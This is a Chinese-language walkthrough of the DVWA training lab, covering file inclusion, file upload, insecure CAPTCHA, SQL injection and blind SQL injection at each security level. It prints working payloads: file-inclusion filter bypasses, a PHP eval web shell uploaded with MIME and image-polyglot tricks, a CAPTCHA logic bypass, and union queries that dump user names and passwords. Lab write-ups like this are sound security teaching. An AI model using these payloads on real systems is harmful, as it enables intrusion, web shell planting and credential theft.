接着上一篇的DVWA入门靶场实战(一)继续:
1. File Inclusion(文件包含)
这一关的攻击目标是:URL链接中包含指定的页面,包括可执行恶意代码的页面
1.1 Low级别
这个级别还是没有防范,可以在URL链接中直接进行任意文件包含
页面有三个测试文件:file1.php、file2.php、file3.php,点击对应的文件就显示对应的文件内容:
我们点击file1.php文件,发现执行了file1.php的内容,URL的参数为:page=file1.php。那我们就知道了,文件page参数后面指定了包含的文件路径:

可以执行的情况有很多种:
本地文件包含:
http://localhost:8085/vulnerabilities/fi/?page=D:\1.txt
<?php phpinfo();?> //文件内容
远程文件包含:
http://localhost:8085/vulnerabilities/fi/?page=https://xxx.com/1.txt
输入链接就可以直接输出php的版本信息了
1.2 Medium级别
这个级别过滤了http://、https://、../和..\\:
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );
PHP 的str_replace函数对字符串只会进行一次替换为空,至于替换之后的新字符串就不会过滤了,那么就可以进行嵌套双写的方式绕过:
http://localhost:8085/vulnerabilities/fi/?page=https://https://xxx.com/1.txt
//str_replace替换之后
http://localhost:8085/vulnerabilities/fi/?page=https://xxx.com/1.txt
正则的匹配不区分大小写,所以使用大写的HTTPS://也能成功绕过:
http://localhost:8085/vulnerabilities/fi/?page=HTTPS://xxx.com/1.txt
本地文件包含也是嵌套绕过,绝对路径仍然可以直接包含:
//相对路径包含
http://localhost:8085/vulnerabilities/fi/?page=..\..\..\1.txt
//绝对路径包含
http://localhost:8085/vulnerabilities/fi/?page=D:\1.txt
1.3 High级别
这个级别的过滤要求必须是文件类型:
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
那么就只能用file协议引用本地文件读取了:
http://localhost:8085/vulnerabilities/fi/?page=file://D://1.txt
1.4 Impossible级别
Impossible级别的代码就是白名单过滤了:
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
$configFileNames = [
'include.php',
'file1.php',
'file2.php',
'file3.php',
];
if( !in_array($file, $configFileNames) ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
白名单:限制只能file1.php、file2.php、file3.php这3个文件
2. File Upload(文件上传)
这一关的攻击目标是任意文件上传,包括恶意文件上传并执行
2.1 Low 级别
这个级别没有任何的防范措施,上传任意文件都可以,自定义一个包含恶意程序的1.php文件:
<?php @eval($_POST["1"])?>

上传之后访问的路径拼接成:
http://localhost:8085/hackable/uploads/1.php
这样我们就把恶意程序上传到服务器了,打开蚁剑查看一下连接成功了:

2.2 Medium级别
本级别在Low的基础上增加了MIME属性的限制:
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
...
}
源码中可以看出MIME值只能为“image/jpeg”或者“image/png”,但对上传的内容并没有做出限制,也就是说仍然可以上传恶意程序,需要改一下Content-Type的值就可以了,还是构造一个恶意程序,命名为2.php:
<?php @eval($_POST["2"])?>
打开Burp开始发送请求-抓包,修改Content-Type为image/png即可上传成功:

通过蚁剑也可以正常连接成功:

2.3 High级别
High级别的部分源码如下:
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
通过源码可以看到High级别对文件扩展名做了限制,只接收扩展名为“jpg”、“jpeg”、“png”这三种的文件,且getimagesize函数对文件大小做了限制,如果为大小不足100KB则上传失败。解决方式是创建一个恶意程序和一张图片,将恶意程序合并到图片中上传:

这样php文件中的内容被合并到了最后,然后继续点击上传就能成功了。
2.4 Impossible级别
本级别比之前的级别重新进行了编码,而且文件名随机无法绕过。
3. Insecure CAPTCHA(不安全的验证码)
Insecure CAPTCHA说是不安全的验证码,其实是验证码的流程出现了逻辑漏洞,而不是验证码本身有问题,验证码是由Google提供的reCAPTCHA服务。正常的流程就是输入验证码,然后修改密码,而这一关攻击的目标是绕过reCAPTCHA验证直接修改密码。
打开这个模块的时候会出现报错,这是因为没有配置密钥导致:

根据提示找到config.inc.php文件添加密钥即可
3.1 Low级别
这一级别的验证几乎没什么用,可以直接绕过。表单里有一个隐藏的参数step,当step的值为1时就验证,当值为2时则可以直接修改密码。
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
...
if( $pass_new == $pass_conf ) {
...
$html .= "<pre>Password Changed.</pre>";
}
}
打开Burp发送请求-抓包-修改放行:

3.2 Medium级别
这个级别和Low级别没什么本质区别,只是添加了一个passed_captcha隐藏参数,值为true:
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Check to see if they did stage 1
if( !$_POST[ 'passed_captcha' ] ) {
$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";
$hide_form = false;
return;
}
}
当step的值为1时重新打开页面,值为2时添加passed_captcha参数为true即可绕过,和Low的流程一样:


3.3 High级别
这个级别就直接验证reCAPTCHA,如果正确则修改密码,关键代码就在于这句:
$resp ||
(
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
)
g-recaptcha-response值为hidd3n_valu3且HTTP_USER_AGENT值为reCAPTCHA时通过验证:

3.4 Impossible级别
这一级别才是正常的逻辑流程,老老实实输验证码吧。
4. SQL Injection(SQL 注入)
SQL注入的原理就是:系统或程序未对用户的输入进行有效的过滤,从而使攻击者输入了可执行的SQL代码,从而任意操纵数据库,达到窃取、篡改、破坏数据的目的。
SQL注入利用的最常见方式是利用输入的字符与程序中原有的SQL语句进行拼接,成立恒等式或其他有效SQL语句以在数据库中执行。
4.1 Low级别
本级别没有任何的防范措施:
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
从源码中可以看出没有对输入进行过滤,且是单引号闭合。再看一下SQL注入的页面:

字符型
页面提供了一个input输入框,输入数据就可以提交到后端程序,我们输入1’查看一下结果:

可以看到报SQL语句错误,多输入了1个单引号就发生了报错,说明是单引号字符型SQL注入报错,那么就可以构造一个恒成立表达式,以此绕过页面:
//输入:
1' or 1=1#
//拼接后的语句:
SELECT first_name, last_name FROM users where user_id='1' or 1=1 # and password='xxx'
//等同于:
SELECT first_name, last_name FROM users where user_id='1' or 1=1
在SQL中,#是单行注释符号,也就是说and password=’xxx’后面的语句都不会执行了,又因1=1为恒等式,or逻辑符满足其中1个条件即可,所以该SQL语句执行,存在SQL注入漏洞。
数字型
输入1 and 1=1进行测试,系统把其当成字符串传到后端,所以执行成功:

如果只输入and 1=1,也是做逻辑判断,所以也能执行成功:
//输入:
1 and 1=1
//拼接后的SQL语句:
SELECT first_name, last_name FROM users WHERE user_id = '1 and 1=1';
//输入:
and 1=1
//拼接后的SQL语句:
SELECT first_name, last_name FROM users WHERE user_id = ‘1 and 1=1';
//如果没做隐式转换
SELECT first_name, last_name FROM users WHERE user_id = 1 and 1=1;
联合查询注入
SQL里order by语句可以对查询的某列数据进行排序,由此判断出数据库表的列数:
//输入:
1' order by 3#
//拼接SQL语句:对第3列的数据进行排序
SELECT first_name, last_name FROM users where user_id='1' order by 3#'
执行完后发现页面给出了报错,说明该表没有第3列:

那我们尝试对第2列数据进行输出:
//输入:
1' order by 2#
//拼接SQL语句:对第2列的数据进行排序
SELECT first_name, last_name FROM users where user_id='1' order by 2#'
结果没有报错,页面显示正常,确定了当前数据库表中有2列数据。

然后利用union all语句来判断显示位:
//1、判断显示位,需要与联合查询的数量对应起来
1' union all select 1,2#
//拼接SQL语句:
SELECT first_name, last_name FROM users where user_id='1' union all select 1,2#'
由此看出,确实存在两个字段:

接下来就可以查询数据库名和版本信息了:
//查询数据库
1' union all select database(),2;#
//拼接的SQL语句
SELECT first_name, last_name FROM users where user_id='1' union all select database(),2;#'
//查询数据库版本信息
1' union all select database(),version();#
//拼接的SQL语句
SELECT first_name, last_name FROM users where user_id='1' union all select database(),version();#'
可以看到执行成功了,并在显示位显示了要查询的信息:


接下来查询一下数据库中所有的表:
//查询数据库表
1' union select 1,table_name from information_schema.tables where table_schema ='dvwa'#
//拼接后的SQL语句:
SELECT first_name, last_name FROM users where user_id='1' union select 1,table_name from information_schema.tables where table_schema ='dvwa'#'
看一下页面返回的结果:users表

如果报错信息显示:Illegal mix of collations for operation ‘UNION’,这是因为字符集不一致导致。
解决方式是打开dvwa/includes/DBMS/MySQL.php,找到$create_db,在行末尾添加COLLATE utf8_general_ci内容,然后在DVWA界面重置数据库Create/Reset Database,然后再次尝试即可:

SQL语句中group_concat函数是一个聚合函数,用于在分组查询中将同一组的多个列值合并成一个字符串:
//查询数据库表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema ='dvwa'#
//拼接后的SQL语句:
SELECT first_name, last_name FROM users where user_id='1' union select 1,group_concat(table_name) from information_schema.tables where table_schema ='dvwa'#'
默认只有一个表,我们再建一张表看看效果:


然后还可以查询出数据库表的字段:
//查询数据库表users中的字段:
1' union select 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'#
//group_concat()函数
1' UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'#
页面显示了users表中所有的字段:


接下来就可以进一步获取数据库中的其他数据了。
4.2 Medium级别
和Low级别相比:
- 页面改成了下拉框式的选择菜单
- 请求方式改成了POST,接收的参数还是被当做字符串来处理
- 闭合方式不再是单引号,直接可以拼接到SQL语句
- 使用mysqli_real_escape_string函数对id进行了转义
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

既然没有输入框,那我们就黑盒测试一下,打开Burp发送请求-抓包,发送到重放器,然后改包重新发送:

这里我们拦截到了提交的参数id值为1,接下来在重放器改成2观察页面变化:

试一下字符型注入,发现页面报错了:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
报错信息说提交的参数值单引号被转义了,那么试一下数字型注入,输入and 1=1恒等式观察页面变化:

可以看到页面返回了信息,那么输入一个恒假等式and 1=2测试,页面无报错且没有任何信息输出,说明这条SQL语句被成功执行了,因此存在数字型注入。

接下来的流程就和Low级别一样了,最终获取数据库表的信息的SQL语句:
//获取所有的用户
id=1 union select 1,(SELECT GROUP_CONCAT(user) FROM users)&Submit=Submit
//获取用户和密码
id=1 union select 1,(SELECT GROUP_CONCAT(user,password) FROM users)&Submit=Submit

4.3 High级别
High部分关键源码如下:
$id = $_SESSION[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
这个级别使用了SESSION获取id值,还是回归了单引号闭合,但是会打开了一个单独的页面发送请求,SESSION的值保存在服务器端:

有了输入框,那么直接在输入框测试就可以了,测试流程和前面的两个等级都一样,最终的SQL语句为:
//获取所有的用户
1' union select 1,(SELECT GROUP_CONCAT(user) FROM users);#
//获取用户和密码
1' union select 1,(SELECT GROUP_CONCAT(user,password) FROM users);#

4.4 Impossible级别
本级别的特点:
- 检测id是否为数字
- 引入了预编译的SQL语句,实现了代码与数据的分离,也就是说拼接SQL语句不行了
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
$id = intval ($id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
}
}
5. SQL Injection (Blind) SQL 盲注
SQL盲注是SQL注入的一种特殊形式,区别于传统的注入方式:
攻击者无法直接获取到数据库的信息,而是通过观察应用程序的响应或者状态来判断是否存在注入。
盲注有两种主要形式:
- 基于布尔的盲注:根据条件真假判断
- 基于时间的盲注:根据响应时间的变化判断
5.1 Low级别
本级别的关键源码如下:
if ($exists) {
// Feedback for end user,正确响应
$html .= '<pre>User ID exists in the database.</pre>';
} else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
$html .= '<pre>User ID is MISSING from the database.</pre>';
}
如果查询数据成功,会给出“User ID exists in the database.”的响应信息。盲注的页面和SQL注入模块的页面是一样的,都是有一个框,接下来还是和SQL注入一样测试,输入1看下页面变化:

发现页面只给出了“User ID exists in the database.”的响应,并没有显示数据,继续输入1’,发现给出了错误的响应信息:User ID is MISSING from the database.

这就是一种典型的基于布尔型的SQL盲注入,即只返回真和假两种状态的响应信息。也就是说盲注不区分数字型还是字符型,只要能查到数据就返回真,查不到就返回假。SQL盲注就是需要不断测试,所以比较耗费时间,建议使用自动化工具配合字典来批量测试,比如sqlmap。
常用的测试手法推断出dvwa数据库:
1'and length(database())>4#
1'and length(database())=4#
1' and left(database(),1) > 'a'#
1' and left(database(),1) > 'd'#
1' and left(database(),1) = 'd'#
1' and left(database(),4) = 'dvwa'#
5.2 Medium级别
这个级别和Low级别没有什么本质区别,就是输入框变成了下拉框选择菜单,和SQL注入模块一样的,也是打开Burp发送请求-抓包-测试。
5.3 High级别
本级别是通过Cookie来进行传参的,其他的和前两个级别是一样的,也是单独的页面测试。
5.4 Impossible级别
本级别和SQL注入模块一样的,基本还是那一套,检测id是否是数字类型,预编译,防CSRF。
1. 一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。